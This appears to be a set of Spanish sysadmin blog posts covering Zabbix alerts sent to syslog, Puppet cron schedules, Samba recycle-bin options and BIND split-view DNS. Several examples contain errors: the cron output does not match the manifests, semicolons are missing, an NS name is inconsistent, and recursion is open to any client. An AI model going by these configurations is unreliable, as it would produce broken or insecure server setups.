    En caso de que alguna de las dos no sea correcta, el sistema no permitirá el acceso.
Sin duda es una forma muy útil de tener un extra se seguridad a muy bajo precio y aparte del software aquí comentado, lo único que se necesita es que ambos equipos (móvil y equipo) estén con la hora sincronizada (NTP), para que la clave generada - clave esperada coincidan.
Más información en, www.howtogeek.com y en Google-authenticator wiki

La entrada SSH en dos pasos la puedes leer en Puppet Linux.
Leer más

Zabbix, alerts to log

Zabbix trae muchas formas de alertarnos de que un trigger (y por lo tanto algo no esperado) ha pasado. Las más comunes son en envío de mail's o avisar directamente por Jabber. Ya hace tiempo vimos aquí cómo enviar las notificaciones a Twitter. Hoy vamos a explicar cómo poder almacenar dichas alertas en nuestro log de sistema o tratarlas directamente desde syslog. Para lograr esto, emplearemos el comando logger, que se encargará de hacer el envío ordenado al servicio del sistema, que luego será el que se encargue de procesarlo. Una vez el mensaje en syslog, podremos mandarlo a otro servidor, crear cadenas de filtrado especiales, o lo que queramos.
Lo primero es crear el pequeño script que es necesario para procesar las alertas generadas.
#!/bin/bash

/usr/bin/logger -p syslog.notice -t zabbix-alert $2
Como vemos es realmente sencillo. Una simple llamada a logger y le pasamos como parámetro $2, que es el contenido del mensaje generado. En $1 tendremos almacenado la dirección a la que se envía. Yo guardé este script como sendToLog.sh y a continuación le di permisos de ejecución. La carpeta donde almacenar el script está en la variable de configuración AlertScriptsPath y por defecto es /etc/zabbix/alert.d.
Todo lo que nos queda por hacer ahora es configurar la parte del envío de alertas desde Zabbix. Lo primero es crear un nuevo Media types de tipo script.
SendToLog Media Type
Y a continuación agregar éste a un usuario. Si nos interesa que quede registro de todas las alertas, lo agregamos a un usuario con permisos completos, como pudiera ser admin.
Añadir Media Type a usuario
Una vez aceptado, simplemente nos queda por crear una acción que envíe todas las alertas a éste usuario y por éste tipo y es comenzaría a funcionar. El resultado sería similar a éste,
shell> tail -f /var/log/syslog
Feb 9 17:17:22 zabbix zabbix-alert: PROBLEM: server-h not responds
Feb 9 17:24:25 zabbix zabbix-alert: OK: server-f not responds
Feb 9 17:24:58 zabbix zabbix-alert: PROBLEM: server-d, restarted
Feb 9 17:26:00 zabbix zabbix-alert: OK: server-d, restarted
Feb 9 17:28:33 zabbix zabbix-alert: OK: server-f not responds

Nota: En la versión 1.8 de Zabbix es funcionamiento y configuración es el mismo, con la salvedad de que en la creación del Media Type, es necesario indicarle la ruta completa del fichero, no únicamente el fichero de script.
Leer más

Puppet, cron cada 5 minutos

Ya hacía que no hablaba de Puppet en el blog, así que ya tocaba. No se si os acordáis, ya hace bastante tiempo, escribí un post donde explicaba cómo emplear valores aleatorios en puppet, lo que resultaba especialmente útil para un manifiesto que use cron, ya que evitábamos que todas las máquinas tirasen del recurso programado al mismo tiempo.
Pues hoy vamos a ver algo más sobre cron aplicado desde Puppet. Este es el manifiesto de partida,
cron { "update mirror":
   command   => "/usr/local/sbin/update_mirror",
   user      => root,
   hour      => 18,
   minute    => 30,
   subscribe => File["/usr/local/sbin/update_mirror"],
   ensure    => present;
}
Como se puede observar vemos que a las 18:30 se ejecuta el tarea programada. Ahora imaginémonos por un momento que nos interesa que el trabajo se ejecute cada 10 minutos. Pues bien, para hacer eso, podíamos suprimir la línea de la hora y quedarnos con una línea de minutos tal que así,
cron{
   ...
   minute    => [2,15,25,35,45,55],
   ...
}
Realmente esta opción es perfectamente viable, pero el resultado que produce no es muy bonito que digamos, a nivel de cron,
shell> crontab -e
5,15,25,35,45,55 * * * *   /usr/local/sbin/update_mirror
Aunque esta solución es perfectamente válida, quizás no sea la más óptima, ya que si tenemos que ejecutarlo cada minuto, nos quedaría una línea "un poco grande". Así que para optimizarlo, podemos hacer algo tal que así:
cron{
   ...
   minute    => "*/10"
   ...
}
Lo que produciría el siguiente resultado,
shell> crontab -e
*/5 * * * *   /usr/local/sbin/update_mirror
Leer más

Opciones de recycle en Samba

Hace unos días publicaba un artículo sobre cómo activar la papelera de reciclaje en el servicio Samba. Así todos aquellos archivos que se hayan borrados podrán ser recuperados de forma simple sin tener que recurrir al backup por un delete mal pensado.
El primer post realmente fue bastante rápido, la intención era introducir la facility. Ya en este vamos a explicar más en detalle todos los parámetros que existe y se le pueden pasar y lo qué significa cada uno. También tenemos pendiente la creación de un pequeño script que se encargue de purgar los archivos más viejos de la papelera, para evitar que se nos llene. Vamos por partes.
Las opciones:
  • recycle:repository
    path de la carpeta que ejercerá de papelera de reciclaje. Si no es especifica nada, por defecto es .recycle.
  • recycle:directory_mode
    Indica los permisos que tendrá la carpeta de reciclaje cuando se cree por primera vez. El valor por defecto es 0700.
  • recycle:subdir_mode
    Lo mismo que el anterior, pero para los subdirectorios.
  • recycle:keeptree
    Establece si cuando se elimina un archivo dentro de subdirectorios dicho árbol se mantendrá o no.
  • recycle:versions
    Indica si se mantendrán las versiones de los ficheros. Si se eliminan dos ficheros con el mismo nombre y dicha opción no está habilitada sólo permanecerá el último. Si está, se creará una copia con el nombre "Copy #x of filename".
  • recycle:touch
    Especifica si la fecha de modificación de un archivo debe ser actualizada cuando éste se mueve a la papelera.
  • recycle:exclude
    Indica las extensiones de los archivos que serán excluidos de ser enviados a la papelera. Se nombrarán con *.ext y se separarán por |.
  • recycle:excludedir
    Hace exactamente lo mismo, pero con nombres de directorios.
  • recycle:noversions
    Si la opción versions está activa a nivel general, se puede desactivar para una seria de extensiones que se especificarán aquí.
  • recycle:minsize
    Establece el tamaño mínimo de los archivos que serán enviados a la papelera. Si son de menor tamaño se borran directamente.
    El tamaño se indica en bytes.
  • recycle:maxsize
    Establece el tamaño máximo de los archivos que serán enviados a la papelera. Si este tamaño es excedido, se borrarán directamente.
    Con en la opción anterior, el tamaño viene dado en bytes.
Un ejemplo completo de las opciones que se le podrían pasar en la sección global sería,
[global]
   recycle:repository = /srv/Trash
   recycle:versions   = TRUE
   recycle:keeptree   = TRUE
   recycle:touch      = FALSE
   recycle:exclude    = *.tmp | *.o | ~$* | *.~?? | *.log
   recycle:excludedir = /tmp  | /cache
   recycle:noversions = *.dat | *.ini
   recycle:minsize    = 512
   recycle:maxsize    = 51200
Y ahora vamos por la parte que nos falta, que no es otra que borrar aquellos archivos que llevan más de #x días en la papelera, para evitar que ésta aumente de tamaño indefinidamente. Aunque puedes compartir la papelera con los usuarios de Samba/ldap como una carpeta más y que sean ellos quien lo gestionen, quizás la opción de borrar los archivos mayores de 30 días automáticamente no esté demás. Para hacerlo, podemos recurrir a cron y emplear find. Dejando una línea tal que así en nuestro /etc/crontab.
30 2 * * *   root   find /srv/Trash/* -mtime +30 -exec rm {} \;
Todos los días a las 2:30 de la mañana se ejecutará y eliminará aquellos archivos mayores de 30 días, haciendo así que la papelera no aumente de tamaño de forma descontrolada.

La entrada Opciones de recycle en Samba la puedes leer en Puppet Linux.
Leer más

2 vistas en DNS

Desde la versión 9 de bind, éste permite establecer una configuración más compleja de las zonas DNS. Concretamente en lo que a vistas se refiere. Si estamos en una organización de tamaño medio/grande lo más probable es que el número de equipos sea elevado y también que exista una configuración de red con DMZ, VLAN's, etc. En estos esquemas de red, cuando tú accedes a tu web, local.net, no es lo mismo estar dentro que estar fuera de la red de la oficina. Desde fuera realmente quién debe contestar es una IP pública, mientras que desde dentro, debería de contestar una IP privada. La IP de DMZ del servidor en cuestión. Para conseguir este tipo de comportamiento necesitamos emplear las múltiples vistas del DNS. Es decir, tendríamos una primera vista local (IP's del rango locales) y una vista externa (IP's públicas). La primera para trabajar en la oficina y la segunda para Internet. Por supuesto lo que exista en una vista no debe ni tiene que existir en la otra.
A nivel ya de configuración vamos a emplear las view de bind. Las ventajas que esto ofrece es que permite en un único daemon ejecutar varias vistas y todas ellas sobre un único interfaz de red (IP). Vamos por lo tanto a inventar los datos para poner un ejemplo que clarifique lo que estamos comentando. Lógicamente los datos son inventados y las IP's públicas distan mucho de la realidad.
115.26.35.2/8Rango público
192.168.0.0/24Rango privado/DMZ
Y tenemos 3 servidores, con sus respectivos servicios ejecutándose con la siguiente configuración. Suponemos que existe un firewall que hace NAT entre la IP pública y la IP privada y que permite diferenciar la DMZ de la red local de la empresa.
Nombre
IP pública
IP privada
ns.local.net 115.26.35.4 192.168.0.4
www.local.net 115.26.35.6 192.168.0.6
mail.local.net 115.26.35.7 192.168.0.7
Puesto que partimos de un bind ya instalado, su instalación no la vamos a detallar, simplemente vamos a editar los ficheros de configuración que correspondan para que el servicio funcione con dos vistas.
El primer fichero a editar es /etc/bind/named.conf. Puesto que nos interesa que sea escalable, para futuras incorporaciones de ficheros y servicios, este fichero contendrá los includes necesarios.
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.dmz";
include "/etc/bind/named.conf.externo";

Como podemos observar desplegamos para que sea más fácil de comprender los named en 3 ficheros completamente independientes.

Nótese aquí que el fichero de configuración de las DMZ's está antes que el de las zonas externas. Esto debe ser así, por que es más restrictivo.
  1. named.conf.options
    Este fichero contiene las opciones de configuración globales del servicio.
    options {
       directory "/var/cache/bind";
       allow-query { any; };
       allow-recursion { any; };
       auth-nxdomain no;
       version "bind-9";
    };
    
  2. named.conf.dmz
    Fichero de configuración para la vista de DMZ. Las primeras líneas contienen las acl's a nivel de IP's que se van a tener en cuenta para saber si un equipo debe leer esta vista o no. Puesto que es más restrictivo, este fichero de debe cargar antes.
    acl "dmz" {
       192.168.0.0/24;
       192.168.1.0/24;
       127.0.0.1
    };
    
    view "dmz" {
       match-clients { "dmz"; };
       include "/etc/bind/named.conf.base";
       zone "local.net" {
          type master;
          file "/etc/bind/directas/local.net.dmz";
       };
       include "/etc/bind/named.conf.master.common";
       include "/etc/bind/named.conf.rev";
    };
    
  3. named.conf.externo
    Este fichero contiene la información para la vista externa y como se puede observar en la segunda línea, hace match para todos los clientes, de ahí que deba ser el último en colocarse. También y como medida de seguridad está la línea allow-transfer { none; }, simplemente para indicar que ningún servidor es secundario.
    view "externo" {
       match-clients { any; };
       include "/etc/bind/named.conf.base";
       zone "local.net" {
          type master;
          notify-source 192.168.0.4;
          allow-transfer { none; }
          file "/etc/bind/directas/local.net.externo";
       };
       include "/etc/bind/named.conf.master.common";
       include "/etc/bind/named.conf.rev";
    };
    
En este punto ya tenemos todo configurado y sólo queda por rellenar los valores de los ficheros local.net.dmz y local.net.externo, que tendrá los nombres e IP's. Aquí únicamente debemos de tener en cuenta no poner una IP pública o privada en el fichero incorrecto.
  • local.net.dmz
    $TTL 3600
    @  IN  SOA  ns.local.net.  root.local.net.  (
            2010022401
             86400
             7200
             2592000
             3600 )
    
             IN     NS            ns.local.es.
             IN     MX     10     mail.local.net
    
    ns       IN     A       192.168.0.4
    www      IN     A       192.168.0.6
    mail     IN     A       192.168.0.7
    
  • local.net.externo
    $TTL 3600
    @  IN  SOA  ns.local.net.  root.local.net.  (
             2010022401
             86400
             7200
             2592000
             3600 )
    
             IN     NS            ns.local.es.
             IN     MX     10     mail.local.net
    
    ns       IN     A       115.26.35.4
    www      IN     A       115.26.35.6
    mail     IN     A       115.26.35.7
    
Después de esto simplemente tendremos que hacer un restart del servicio bind y las nuevas vistas (dmz y externo) serán cargadas automáticamente, simplificando enormemente trabajar desde la oficina empleando nombres.
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios